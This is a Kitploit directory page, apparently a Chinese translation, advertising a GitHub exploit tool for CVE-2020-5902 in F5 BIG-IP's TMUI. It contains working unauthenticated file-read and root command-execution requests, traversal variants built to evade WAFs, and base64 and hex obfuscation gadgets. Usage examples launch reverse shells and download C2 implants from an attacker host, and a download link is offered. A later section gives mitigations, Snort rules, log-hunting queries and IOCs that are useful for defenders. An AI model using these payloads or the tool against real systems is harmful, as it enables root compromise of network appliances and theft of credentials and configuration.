Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
F5-BIG-IP — O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades. | Kitploit
工具/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.

GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

查看仓库
1个月前尚未审核
分享

CVE-2020-5902 — F5 BIG-IP TMUI 远程代码执行

F5 BIG-IP 流量管理用户界面(TMUI)中严重路径遍历/远程代码执行漏洞的概念验证利用程序。

⚠️ 仅用于授权的渗透测试和安全研究。 未经授权对非您所有或未获书面许可的系统使用属于违法行为。 作者对本工具的滥用不承担任何责任。


目录

  • 背景
  • 漏洞分析
  • 技术深入剖析
  • 受影响版本
  • 功能特性
  • 安装
  • 使用方法
  • 防御措施
  • 检测与威胁狩猎
  • 时间线
  • 参考资料
  • 免责声明

背景

F5 BIG-IP 是一系列多功能网络设备(负载均衡器、WAF、应用交付控制器)的统称,广泛应用于全球大多数财富500强公司、金融机构、医疗保健机构和政府机构。流量管理用户界面(TMUI) 也称为配置实用程序,是在端口443(或8443)上可访问的基于Web的管理门户。

2020年7月,F5披露了CVE-2020-5902,这是TMUI中一个严重(CVSS 9.8) 的未授权路径遍历漏洞,允许远程未授权攻击者:

  • 读取底层Linux系统中的任意文件(本地文件包含,LFI)
  • 以root身份执行任意操作系统命令(远程代码执行,RCE)
  • 完全控制设备并横向渗透到内部网络

在公开披露后的几天内,大规模利用在野外被观察到,包括国家级行为者的利用。


漏洞分析

根本原因

TMUI基于Apache Tomcat构建,并使用Servlet过滤器对受保护资源强制进行身份验证。漏洞在于Tomcat解析分号分隔的路径段(;)的方式。

以下请求完全绕过身份验证:

root@kitploit:~
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

为何有效:

  1. Tomcat Servlet过滤器将路径视为/tmui/login.jsp(在;之前结束)——这是公开的登录页面——因此允许该请求。
  2. Tomcat的URL解析器随后在处理/..;/时将其当作路径遍历(/../)。
  3. 请求最终被路由到受保护的fileRead.jsp Servlet,无需身份验证。
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  客户端请求                                                       │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet 过滤器       │
             │  看到: /tmui/login.jsp  ✓     │
             │  (公共端点 → 允许)             │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL 解析器           │
             │  解析: /..;/ → /../           │
             │  最终路径: /tmui/locallb/     │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (无身份验证检查) │
             │  以root身份读取任意文件        │
             └───────────────────────────────┘

从LFI到RCE

tmshCmd.jsp Servlet(同样可通过相同的遍历方式访问)将command和utilCmdArgs参数直接传递给tmsh(BIG-IP管理Shell),后者封装了run util bash -c '...'。这提供了未经过身份验证的root级操作系统命令执行:

root@kitploit:~
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

技术深入剖析

攻击流程

root@kitploit:~
阶段1:侦察
  └─ TCP 横幅抓取(HTTP/TLS 指纹)
  └─ SSL 证书分析
  └─ HTTP 头部指纹(Server、X-Powered-By、Set-Cookie)
  └─ 从 /etc/f5-release 估计 BIG-IP 版本

阶段2:漏洞检查
  └─ 遍历 6 种遍历编码变体
  └─ 针对 4 个已知可读的哨兵文件测试
  └─ 确认输出与已知指示符匹配(root:x:0:0、BIG-IP 等)

阶段3:漏洞利用
  ├─ 向量 A:tmshCmd.jsp(主要 RCE)
  │    └─ 命令通过 base64 / 十六进制编码 gadget 混淆
  ├─ 向量 B:fileRead.jsp + fileName 参数中的命令注入
  │    └─ 操作系统命令注入到 fileName 参数中
  └─ 向量 C:日志中毒(User-Agent 注入 → 读取 access_log)

阶段4:后利用(可选)
  ├─ 交互式 Shell(命令 REPL)
  ├─ 反弹 Shell(4 个并发单行命令)
  ├─ LFI 暴力破解(30 个敏感路径,并行)
  └─ C2 植入程序部署(Sliver / Metasploit / 自定义)

遍历编码变体

命令混淆 Gadget

该工具每次执行时应用两种混淆 gadget 之一,使静态签名检测更加困难:

root@kitploit:~
# Gadget 1 — Base64 编码/解码管道
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — 十六进制字节 printf 求值
eval "$(printf '\x69\x64')"

受影响版本

BIG-IQ、BIG-IQ集中管理、F5OS 和 Traffix SDC 不受此特定 CVE 影响。


功能特性

  • 多变体路径遍历 — 6 种编码排列以规避 WAF/IDS 签名
  • 三个独立 RCE 向量 — tmshCmd.jsp、fileRead 注入、日志中毒
  • 命令混淆 gadget — base64 和十六进制编码管道
  • 被动侦察阶段 — TCP 横幅、SSL/TLS 指纹、HTTP 头部分析
  • 并行 LFI 暴力破解 — 30 个敏感路径,10 个并发线程
  • 并发反弹 Shell — 同时触发 4 条单行命令
  • C2 集成 — Sliver、Metasploit、自定义植入程序(Linux/Windows/PS1)
  • 规避头部 — 随机 User-Agent、IP 欺骗头部、噪声头部
  • 交互式 Shell REPL — !revshell、!c2、!read、!brute 命令
  • 代理支持 — Burp Suite / mitmproxy 集成

安装

root@kitploit:~
git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

要求: Python 3.10+


使用方法

root@kitploit:~
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

示例

root@kitploit:~
# 1. 仅漏洞检查
python CVE-2020-5902.py 192.168.1.100

# 2. 自定义端口 + 单条命令执行
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. 交互式 Shell
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI 暴力破解(读取 30 个敏感路径)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. 反弹 Shell 回调
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. 部署 C2 植入程序(Sliver 示例)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. 通过 Burp Suite 路由以检查流量
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

交互式 Shell 命令

进入 --shell 模式后,可使用以下特殊命令:


防御措施

即时缓解措施(如果尚无法打补丁)

1. 阻止从互联网访问 TMUI

最有效的缓解措施是确保管理接口永远无法从不受信任的网络访问:

root@kitploit:~
# BIG-IP:将管理访问限制到专用 VLAN/IP 范围
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

或者,在 BIG-IP Self IP 配置中,确保管理端口没有外部路由。

2. 应用 F5 官方缓解措施(补丁前)

F5 发布了一个缓解脚本,添加 Apache RewriteRule 以阻止遍历模式:

root@kitploit:~
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

参考: K52145254 — 缓解步骤

3. 补丁 — 应用修复版本

最终修复是将 BIG-IP 升级到已修复的版本(请参阅受影响版本表)。F5 修正了 Servlet 过滤器逻辑,以在身份验证强制之前正确解析分号分隔的路径段。


架构级防御

管理平面的零信任网络访问

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│  推荐架构                                                       │
│                                                                 │
│  互联网 ──────► 防火墙 ──────► DMZ / 生产环境                  │
│                      │                                          │
│                      │  (拒绝所有到管理端口的流量)              │
│                      │                                          │
│                   跳板机 ──────► BIG-IP TMUI(端口 443)       │
│                 (MFA + VPN)        (仅管理 VLAN)            │
└────────────────────────────────────────────────────────────────┘

关键原则:

  • 管理接口绝不能与生产流量位于同一 IP/端口
  • 访问需要先VPN + MFA,然后才能到达跳板机
  • BIG-IP Self IP 端口锁定应设置为 Allow None 或 Allow Defaults

Web 应用防火墙规则

如果在 BIG-IP 管理前面有 WAF(不常见但某些架构中可能存在),请添加规则以阻止:

  • 请求包含 ; 的 URL 路径
  • 请求路径段匹配 ..; 或 %3b
  • 来自非管理来源的 /tmui/locallb/workspace/ 请求

安全加固清单

root@kitploit:~
[ ] BIG-IP 已更新到修复版本
[ ] TMUI 未暴露到互联网(使用 Shodan/Censys 验证)
[ ] 管理 VLAN 与生产环境隔离
[ ] Self IP 端口锁定已配置(Allow None 或 Allow Defaults)
[ ] 管理访问已启用 MFA
[ ] BIG-IP 软件清单已纳入资产管理系统中
[ ] 自动漏洞扫描(Tenable/Qualys)包含 BIG-IP
[ ] 已配置日志转发至 SIEM(access_log、audit.log)
[ ] 网络分段:被攻陷的 BIG-IP 无法到达域控制器
[ ] 事件响应预案包含网络设备被攻陷场景

检测与威胁狩猎

IDS/IPS 签名(Snort / Suricata)

root@kitploit:~
# 检测路径遍历尝试(分号绕过)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI 路径遍历";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# 检测编码分号变体
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI 路径遍历(编码)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Apache/HTTPD 日志模式(grep)

root@kitploit:~
# 在 BIG-IP 访问日志中搜索遍历尝试
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# 查找对易受攻击端点的成功命中
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

SIEM 查询(Splunk SPL)

root@kitploit:~
index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "高", "中")
| stats count by src_ip, uri_path, status, risk
| sort -count

入侵指标(IOCs)

URL 模式:

root@kitploit:~
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

常见攻击者目标(访问的文件):

root@kitploit:~
/etc/passwd                  — 凭据收集
/config/bigip.conf           — VPN/路由配置外泄
/config/bigip.license        — 许可证密钥窃取
/config/bigip_user.conf      — 本地管理员账户枚举
/root/.bash_history          — 历史命令侦察

时间线


参考资料

  • NVD — CVE-2020-5902
  • F5 安全公告 K52145254
  • CISA 紧急指令 20-03
  • Rapid7 分析
  • BleepingComputer 报道
  • Shodan 查询:http.title:"BIG-IP" port:443

免责声明

本工具仅提供用于教育目的和授权的安全评估。它旨在供以下人员使用:

  • 拥有资产所有者书面授权的渗透测试人员
  • 在实验室环境中研究该漏洞的安全研究人员
  • 构建检测签名和加固配置的防御者
  • CTF(夺旗)竞赛参与者

在未经明确书面许可的情况下使用本工具攻击系统属于刑事犯罪,违反了美国计算机欺诈与滥用法案(CFAA)、英国计算机滥用法、巴西 Lei Nº 12.737/2012(Lei Carolina Dieckmann)以及全球大多数司法管辖区的类似法律。

本仓库的作者和贡献者不对任何因滥用本软件造成的损害、法律后果或其他伤害承担责任。


为安全研究社区而制作。 修补您的系统。保护您的网络。

下载工具
变体载荷
标准tmui/login.jsp/..;/tmui/...
编码分号tmui/login.jsp/..%3b/tmui/...
双重 URL 编码tmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Unicode 点点tmui/login.jsp/%2e%2e;/tmui/...
大小写变体TMUI/login.jsp/..;/tmui/...
目录混淆tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...
BIG-IP 分支受影响范围修复版本
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2
命令描述
!revshell <lhost> <lport>同时触发 4 种反弹 Shell 变体
!c2 <url> <type> [args]下载并执行 C2 植入程序
!read <path>通过 LFI 读取任意文件
!brute暴力破解 30 个敏感路径
!exit终止会话
<任意操作系统命令>通过 RCE 执行并打印输出
日期事件
2020-06-30F5 私下收到通知
2020-07-01F5 发布公告(K52145254)和补丁
2020-07-03公开 PoC 在 Twitter 上发布
2020-07-04多个威胁情报公司观察到大规模利用
2020-07-06CISA 发布紧急指令 20-03,要求联邦机构打补丁
2020-07-09确认国家级行为者(APT)在野外利用
2020-07-15约 8,000 个 BIG-IP 实例仍未打补丁(Shodan)
2020-08-xx勒索软件团伙开始针对未打补丁的 BIG-IP 设备